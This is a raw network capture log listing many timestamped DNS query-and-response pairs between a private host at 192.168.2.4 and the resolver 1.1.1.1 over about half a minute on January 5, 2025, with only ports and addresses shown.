Jan 5, 2025 10:49:53.843700886 CET	53	53054	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:53.961116076 CET	64560	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:53.998256922 CET	53	64560	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:54.007889986 CET	50863	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:54.270450115 CET	53	50863	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:54.396089077 CET	54426	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:54.420447111 CET	53	54426	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:54.428486109 CET	64217	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:54.452800035 CET	53	64217	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:54.663921118 CET	52895	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:54.766875029 CET	53	52895	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:54.780006886 CET	56380	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:54.885092020 CET	53	56380	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:54.993751049 CET	57902	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:55.116369963 CET	53	57902	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:55.119884014 CET	49167	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:55.256483078 CET	53	49167	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:55.366658926 CET	54258	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:56.315757990 CET	53	54258	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:56.382179976 CET	54258	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:56.389019966 CET	53	54258	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:56.664033890 CET	56351	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:56.936248064 CET	53	56351	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.070732117 CET	60234	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.087301970 CET	53	60234	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.251255989 CET	52090	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.260454893 CET	53	52090	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.268109083 CET	63821	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.277213097 CET	53	63821	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.398067951 CET	62456	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.410099983 CET	53	62456	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.414880037 CET	51807	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.425904036 CET	53	51807	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.539858103 CET	53372	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.676539898 CET	53	53372	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.687664032 CET	60302	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.789977074 CET	53	60302	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.899962902 CET	55750	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.910835981 CET	53	55750	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:57.918174028 CET	61231	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:57.998944998 CET	53	61231	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:58.117120981 CET	56656	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.004245043 CET	53	56656	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.039280891 CET	63553	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.186028004 CET	53	63553	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.333201885 CET	60819	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.352535963 CET	53	60819	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.426014900 CET	51543	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.434406042 CET	53	51543	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.436475039 CET	57441	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.445139885 CET	53	57441	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.558482885 CET	65248	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.616826057 CET	53	65248	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.722038984 CET	54515	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.728934050 CET	53	54515	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.732218027 CET	61063	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.739577055 CET	53	61063	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.882293940 CET	55503	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.897336006 CET	53	55503	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:59.903616905 CET	59444	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:59.917439938 CET	53	59444	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.024096012 CET	53471	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.042449951 CET	53	53471	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.047854900 CET	63465	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.078072071 CET	53	63465	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.195518970 CET	64097	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.207401037 CET	53	64097	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.210181952 CET	49663	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.237977028 CET	53	49663	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.351322889 CET	51152	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.376034021 CET	53	51152	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.401134968 CET	53452	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.425590038 CET	53	53452	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.539268970 CET	61095	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.550038099 CET	53	61095	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.556039095 CET	56216	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.567436934 CET	53	56216	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.682327032 CET	54069	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.713366985 CET	53	54069	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.730338097 CET	59374	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.739432096 CET	53	59374	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.851039886 CET	51707	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.859781981 CET	53	51707	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.865310907 CET	54514	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:00.874293089 CET	53	54514	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:00.993293047 CET	60552	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.001887083 CET	53	60552	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:01.022028923 CET	56399	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.030827045 CET	53	56399	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:01.148499966 CET	58778	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.179950953 CET	53	58778	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:01.185765028 CET	57412	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.227750063 CET	53	57412	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:01.335905075 CET	52181	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.346744061 CET	53	52181	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:01.352108002 CET	61465	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.363277912 CET	53	61465	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:01.491383076 CET	60883	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.515909910 CET	53	60883	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:01.546885014 CET	50256	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:01.666520119 CET	53	50256	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:02.216128111 CET	55380	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:02.474909067 CET	53	55380	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:02.694792986 CET	54806	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:02.828516006 CET	53	54806	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:02.944801092 CET	64300	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:02.963710070 CET	53	64300	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.130775928 CET	54876	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.139657021 CET	53	54876	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.142009974 CET	58959	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.152014971 CET	53	58959	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.258060932 CET	64975	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.266319036 CET	53	64975	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.268373966 CET	52385	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.277272940 CET	53	52385	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.382800102 CET	52968	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.392751932 CET	53	52968	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.396420002 CET	57940	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.418392897 CET	53	57940	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.522959948 CET	59839	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.627126932 CET	53	59839	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.632508039 CET	64176	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.751976013 CET	53	64176	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.868477106 CET	57068	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.893573046 CET	53	57068	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:03.914988041 CET	51094	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:03.943058014 CET	53	51094	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:04.054315090 CET	55297	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:04.076041937 CET	53	55297	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:04.081480980 CET	57658	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:04.098429918 CET	53	57658	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:04.213921070 CET	61752	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:04.306663036 CET	53	61752	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:04.311999083 CET	61932	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:05.166259050 CET	53	61932	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:05.274389029 CET	52722	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:05.460712910 CET	53	52722	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:05.558743000 CET	55448	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:05.930008888 CET	53	55448	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.038788080 CET	63016	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:06.048043966 CET	53	63016	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.054297924 CET	51264	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:06.063235998 CET	53	51264	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.179582119 CET	63684	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:06.188075066 CET	53	63684	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.221885920 CET	56933	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:06.231436014 CET	53	56933	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.236335039 CET	52819	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:06.243644953 CET	53	52819	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.352453947 CET	52106	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:06.387270927 CET	53	52106	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.389826059 CET	65074	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:06.654964924 CET	53	65074	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:06.758049965 CET	57706	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:07.623014927 CET	53	57706	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:07.627696991 CET	50005	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:07.811954021 CET	53	50005	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:07.944009066 CET	62757	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:07.963581085 CET	53	62757	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:07.992503881 CET	50695	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:07.999814987 CET	53	50695	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.003393888 CET	50628	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.013503075 CET	53	50628	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.117280960 CET	63865	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.141691923 CET	53	63865	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.145292997 CET	54255	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.169651985 CET	53	54255	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.273766041 CET	59922	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.284960985 CET	53	59922	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.419291973 CET	52805	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.430213928 CET	53	52805	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.437020063 CET	60404	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.444442034 CET	53	60404	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.554274082 CET	55068	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.609015942 CET	53	55068	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.640700102 CET	57332	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.699779034 CET	53	57332	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.820882082 CET	59234	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.833256960 CET	53	59234	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.841013908 CET	52752	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:08.871682882 CET	53	52752	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:08.997697115 CET	64364	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.091401100 CET	53	64364	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.096971989 CET	58320	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.191596031 CET	53	58320	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.305270910 CET	55543	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.315342903 CET	53	55543	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.370703936 CET	61923	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.377625942 CET	53	61923	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.384289980 CET	64205	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.391093016 CET	53	64205	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.493880033 CET	56851	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.504053116 CET	53	56851	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.625196934 CET	57524	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.632443905 CET	53	57524	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.638946056 CET	53007	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.648550987 CET	53	53007	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.773597956 CET	50425	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.784509897 CET	53	50425	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.815217018 CET	56654	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.826863050 CET	53	56654	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.930674076 CET	59355	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:09.954776049 CET	53	59355	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:09.972640038 CET	61340	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:10.093346119 CET	53	61340	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:10.195882082 CET	59744	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:10.215334892 CET	53	59744	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:10.289746046 CET	55847	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:10.298727989 CET	53	55847	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:10.317604065 CET	63316	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:10.324805021 CET	53	63316	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:10.441414118 CET	59917	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:11.383796930 CET	53	59917	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:11.413563967 CET	58044	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:11.507592916 CET	53	58044	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:11.617310047 CET	50998	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:11.711296082 CET	53	50998	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:11.744815111 CET	50555	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:11.838018894 CET	53	50555	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:11.944713116 CET	50686	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:12.067301035 CET	53	50686	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:12.078005075 CET	54047	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:12.180855036 CET	53	54047	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:12.289967060 CET	63809	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:12.298558950 CET	53	63809	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:12.351670980 CET	64262	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:12.360131979 CET	53	64262	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:12.428046942 CET	54110	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:12.435254097 CET	53	54110	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:12.538438082 CET	52093	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:12.845583916 CET	53	52093	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:12.869463921 CET	64779	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:12.962538004 CET	53	64779	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:13.089010000 CET	55862	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:13.269036055 CET	53	55862	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:13.286472082 CET	56457	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:13.559508085 CET	53	56457	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:13.665062904 CET	57860	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:13.689796925 CET	53	57860	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:13.704109907 CET	49334	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:13.825212002 CET	53	49334	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:13.929378986 CET	64119	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:13.947545052 CET	53	64119	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:13.959445953 CET	62565	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:13.977262974 CET	53	62565	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.086302996 CET	52941	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.115462065 CET	53	52941	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.143903017 CET	63362	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.154201031 CET	53	63362	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.257364035 CET	54865	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.280869007 CET	53	54865	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.302392960 CET	61316	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.327227116 CET	53	61316	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.435326099 CET	59543	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.444638968 CET	53	59543	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.495681047 CET	49711	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.504566908 CET	53	49711	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.602191925 CET	49167	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.612958908 CET	53	49167	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.639096022 CET	57688	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.651432991 CET	53	57688	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:14.767188072 CET	57417	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:14.802575111 CET	53	57417	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.049633026 CET	56884	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.083786011 CET	53	56884	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.200647116 CET	53443	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.257936001 CET	53	53443	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.273088932 CET	60879	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.304167032 CET	53	60879	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.399003029 CET	55401	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.410394907 CET	53	55401	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.421227932 CET	54608	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.432358980 CET	53	54608	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.523288965 CET	56226	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.544131041 CET	53	56226	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.547530890 CET	55848	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.567370892 CET	53	55848	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.664490938 CET	63369	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:15.758727074 CET	53	63369	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:15.771528959 CET	52032	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:16.645356894 CET	53	52032	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:16.742187977 CET	54131	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:17.423651934 CET	53	54131	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:17.440900087 CET	62499	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:17.629057884 CET	53	62499	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:17.847165108 CET	53645	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:17.869640112 CET	53	53645	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:17.963473082 CET	64889	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:17.980804920 CET	53	64889	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:18.085952044 CET	56353	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:18.095355034 CET	53	56353	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:18.107242107 CET	56663	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:18.118577003 CET	53	56663	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:18.210439920 CET	49231	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:18.245474100 CET	53	49231	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:18.261287928 CET	55925	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:18.531397104 CET	53	55925	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:18.632363081 CET	53988	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:18.917953014 CET	53	53988	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:18.964432955 CET	50371	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:18.972313881 CET	53	50371	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.070244074 CET	59520	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.085081100 CET	53	59520	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.196345091 CET	64396	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.205009937 CET	53	64396	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.221354961 CET	58754	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.228912115 CET	53	58754	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.322678089 CET	56873	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.331362963 CET	53	56873	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.358314991 CET	53358	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.365268946 CET	53	53358	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.366740942 CET	50948	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.374294043 CET	53	50948	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.476732969 CET	54708	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.501442909 CET	53	54708	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.663007975 CET	54315	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.687414885 CET	53	54315	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.788697958 CET	56074	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:19.883860111 CET	53	56074	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:19.930069923 CET	65085	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.117769957 CET	53	65085	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.210913897 CET	50096	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.220211029 CET	53	50096	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.261233091 CET	58694	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.269282103 CET	53	58694	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.291347027 CET	52994	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.298248053 CET	53	52994	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.397789955 CET	52329	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.408315897 CET	53	52329	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.419776917 CET	55102	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.428992987 CET	53	55102	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.523070097 CET	49435	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.542465925 CET	53	49435	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.610660076 CET	51901	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.620285034 CET	53	51901	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.637866020 CET	51316	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.647357941 CET	53	51316	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.750613928 CET	65366	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.775675058 CET	53	65366	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.801465034 CET	62108	53	192.168.2.4	1.1.1.1
